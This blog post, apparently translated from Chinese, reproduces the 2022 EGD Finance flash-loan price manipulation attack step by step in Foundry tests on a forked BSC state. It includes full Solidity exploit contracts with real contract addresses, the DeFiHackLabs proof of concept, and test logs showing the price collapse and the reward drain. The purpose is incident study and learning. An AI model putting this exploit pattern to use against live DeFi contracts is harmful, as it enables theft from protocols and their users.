Foundry of EGD price manipulation attack reappears

Other related content can be found on the personal homepage

For an introduction to the EGD price manipulation attack, see: Analysis of the Principle of the EGD Price Manipulation Attack – phalcon+etherscan)

The introduction to foundry can be found: Writing tests - Foundry Chinese documentation (learnblockchain.cn)

Reference link: EGD Finance price manipulation attack incident analysis - YINHUI's BLOG (yinhui1984.github.io)

1. Summary of the situation and introduction of ideas

The main purpose of the EGD-Finance project: 质押USDT一段事件,可提取奖励EGD TokenAs mentioned above, because flash loans Pancake LPsborrow a large amount of USDT from the pool, and EGD Tokenthe number of rewards depends to a certain extent on the number of two tokens in the pool, this leads to price manipulation. attack.

Since I am not very familiar with foundry, and I have never written a large solidity project;

We divide the attack reproduction into three parts:

  • Use flash loans to control prices
  • Implement the logic of the EGD project and exchange rewards after staking.
  • Flash loans achieve price manipulation and exploit logical loopholes in EGD exchange to achieve arbitrage.

2. Flash loans enable price manipulation

  • For the external contract function you want to call, you not only need its address, but also write the corresponding function that needs to be called in the 接口interface()form. interface()No specific function code is written in it. The function access modification is external.
  • There are no floating-point numbers in solidity. Generally, you can learn how to write the percentage by which it is multiplied.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

contract pricemanipulation is Test{

    function setUp() public{
    	//fork stake()函数调用前的状态
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        //给账户上初始分配点USDT
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function testPrice() public {
        console.log("EGD Price before:", IEGD_Finance(EGD_Finance).getEGDPrice());
        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");
        console.log("EGD Price after( return flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice());
    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public {
    	//闪电贷之前EGD的价格
        console.log("EGD Price after( flashloan )", IEGD_Finance(EGD_Finance).getEGDPrice()) ;
        
        //归还相应的本金
        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

Test results: Indicates successful price manipulation

 /test/attack_test # forge test --match-contract pricemanipulation -vvv
[⠃] Compiling...
No files changed, compilation skipped

Running 1 test for test/test_pricemanipulation.sol:pricemanipulation
[PASS] testPrice() (gas: 87598)
Logs:
  EGD Price before: 8093644493314726
  EGD Price after( flashloan ) 60702333
  EGD Price after( return flashloan ) 8498326714945346

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 576.95ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

3. Stake USDT first and then receive EGD rewards

  • The confusing point here is that userInfo in the target function is a structure mapping, which is expressed as a function in the interface to obtain the corresponding value. I hope someone can help explain it. Here is the usage of the interface. Can it be written like this? , try again later.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);

    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;


contract stake_reward is Test{

    function setUp() public {
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function test_stake() public {
		//具体可见EGD-Fiance源码,bond函数填写邀请人
    	IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));
    	
    	//stake()过程中会直接继续代币转账,这里需要先approve(没真实写过的话,可能会忘这一步)
        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
        (uint totalAmount, , , , , ) = IEGD_Finance(EGD_Finance).userInfo(address(this));

        //接下来查看对应的资金
        console.log("Stake USDT amount:", totalAmount);
        console.log("EGD reward: ", IERC20(egd).balanceOf(address(this)));

		// foundry的cheatcode,跳转到某个区块
        vm.warp(block.timestamp + (4 * 60 * 24 * 4));
		
		//获得对应的奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("EGD reward after 2 days: ", IERC20(egd).balanceOf(address(this)));

    }
}
/test/attack_test # forge test --match-contract stake_reward -vvv
[⠊] Compiling...
[⠰] Compiling 1 files with 0.8.22
[⠒] Solc 0.8.22 finished in 1.28s
Compiler run successful!

Running 1 test for test/test_stake_reward.sol:stake_reward
[PASS] test_stake() (gas: 865865)
Logs:
  Stake USDT amount: 100000000000000000000
  EGD reward:  0
  EGD reward after 4 days:  18016435864263240000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 591.56ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Test results: The process of staking USDT and obtaining EGD was successfully implemented

4. Flash loans achieve price manipulation and exploit logical loopholes in EGD exchange to achieve arbitrage.

  • It simply combines the above two steps and calls the function of EGD-Finance to withdraw rewards.
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
    function transfer(address to, uint256 value) external returns (bool);
}

interface IEGD_Finance {
    function getEGDPrice() external view returns (uint);
    function bond(address invitor) external;
    function stake(uint amount) external;
    function claimAllReward() external;
    function calculateAll(address addr) external view returns (uint);
    function calculateReward(address addr, uint slot) external view returns (uint);
    function userInfo(address) external view returns (        
        uint totalAmount,
        uint totalClaimed,
        address invitor,
        bool isRefer,
        uint refer,
        uint referReward
    );
}

interface IPancakePair {
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

//Pancake借出USDT的池子
address constant EGD_USDT_LPPool = 0xa361433E409Adac1f87CDF133127585F8a93c67d;

// EGD 代理合约的地址
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;

// USDT代币的地址
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;

// EGD代币的地址
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract HackerTest is Test{

    function setUp() public{
        vm.createSelectFork("https://rpc.ankr.com/bsc", 20_245_522);
        deal(address(usdt),address(this), 30000*1 ether);
    }

    function stake() public {
        IEGD_Finance(EGD_Finance).bond(address(0x85cbfaBD709c744C84A36BA47145396d724EE751));

        IERC20(usdt).approve(address(EGD_Finance), 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function test_exploit() public {
        stake();
        vm.warp(block.timestamp + (4 * 60 * 24 * 2));

        console.log("EGD Price before flashloan:", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//计算用户地址,当前存款下获得的奖励数目
        uint totalreward = IEGD_Finance(EGD_Finance).calculateAll(address(this));
        console.log("Normal EGD reward:", totalreward);

        uint amount = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_000_000 / 10_000_000_000;
        IPancakePair(EGD_USDT_LPPool).swap(0, amount, address(this), "0x00");

    }

    function pancakeCall(address sender, uint256 amount1, uint256 amount2, bytes calldata data) public{

        console.log("EGD Price after flashloan: ", IEGD_Finance(EGD_Finance).getEGDPrice());
		
		//提取账户奖励
        IEGD_Finance(EGD_Finance).claimAllReward();

        console.log("Hacker's EGD balance: ", IERC20(egd).balanceOf(address(this)));

        bool success = IERC20(usdt).transfer(address(EGD_USDT_LPPool),(amount2 * 10_500_000_000) / 10_000_000_000) ;
        require(success) ;
    }
}

5. Introduction to POC implemented by DefiHacklabs

  • Reproduction in Defihacklabs, which interfacesaves most commonly used ones ./interface.solin files
  • An extra step is to use IPancakeRouterthis pool to exchange all the EGD obtained from arbitrage into USDT, which has been explained in the previous analysis.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @KeyInfo - Total Lost : ~36,044 US$
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (Proxy)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (Logic)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x93c175439726797dcee24d08e4ac9164e88e7aee#code#F1#L254
// Stake Tx : https://bscscan.com/tx/0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

// @Analysis
// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464
// PeckShield : https://twitter.com/PeckShieldAlert/status/1556486817406283776

IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant usdt = 0x55d398326f99059fF775485246999027B3197955;
address constant egd = 0x202b233735bF743FA31abb8f71e641970161bF98;

contract Attacker is Test {
    function setUp() public {
    	//fork对应的区块状态
        vm.createSelectFork("bsc", 20_245_522);

        vm.label(address(USDT_WBNB_LPPool), "USDT_WBNB_LPPool");
        vm.label(address(EGD_USDT_LPPool), "EGD_USDT_LPPool");
        vm.label(address(pancakeRouter), "pancakeRouter");
        vm.label(EGD_Finance, "EGD_Finance");
        vm.label(usdt, "USDT");
        vm.label(egd, "EGD");
    }

    function testExploit() public {
        Exploit exploit = new Exploit();

        console.log("--------------------  Pre-work, stake 100 USDT to EGD Finance --------------------");
        console.log("Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8");
        console.log("Attacker Stake 100 USDT to EGD Finance");
        
        //先实现对应的质押USDT
        exploit.stake();

        vm.warp(1_659_914_146); // block.timestamp = 2022-08-07 23:15:46(UTC)

        console.log("-------------------------------- Start Exploit ----------------------------------");
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
        emit log_named_decimal_uint(
            "[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
        );
        emit log_named_decimal_uint(
            "[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18
        );
        console.log("Attacker manipulating price oracle of EGD Finance...");

        exploit.harvest();

        console.log("-------------------------------- End Exploit ----------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
    }
}

// Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee 
contract Exploit is Test {
    uint256 borrow1;
    uint256 borrow2;

	//与前文流程一致
    function stake() public {
        // Give exploit contract 100 USDT, 给账户初始复制
        deal(address(usdt), address(this), 100 ether);
        // Set invitor
        IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
        // Stake 100 USDT
        IERC20(usdt).approve(EGD_Finance, 100 ether);
        IEGD_Finance(EGD_Finance).stake(100 ether);
    }

    function harvest() public {
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); // refund all USDT
    }
	
	//用不同的calldata,来区分两次闪电贷的过程
    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        if (keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            
            //第二次闪电贷借出多少USDT
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // Attacker borrows 99.99999925% USDT of EGD_USDT_LPPool reserve
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00");
            console.log("Flashloan[2] payback success");

            // Swap all egd -> usdt
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)), 1, path, address(this), block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 1e18); // Pancakeswap fee is 0.25%, so attacker needs to pay back usdt >2000/0.9975 (Cannot be exactly 0.25%)
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            emit log_named_decimal_uint(
                "[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18
            );
            // -----------------------------------------------------------------
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
            // -----------------------------------------------------------------
            //计算需要总共返还闪电贷的费用
            uint256 swapfee = (amount1 * 10_000 / 9970) - amount1; // Attacker needs to pay >0.25% fee back to Pancakeswap
            bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1 + swapfee);
            require(suc, "Flashloan[2] payback failed");
        }
    }
}

// interface
interface IEGD_Finance {
    function bond(address invitor) external;
    function stake(uint256 amount) external;
    function calculateAll(address addr) external view returns (uint256);
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint256);
}

Guess you like

Origin blog.csdn.net/m0_53689197/article/details/135128283
Recommended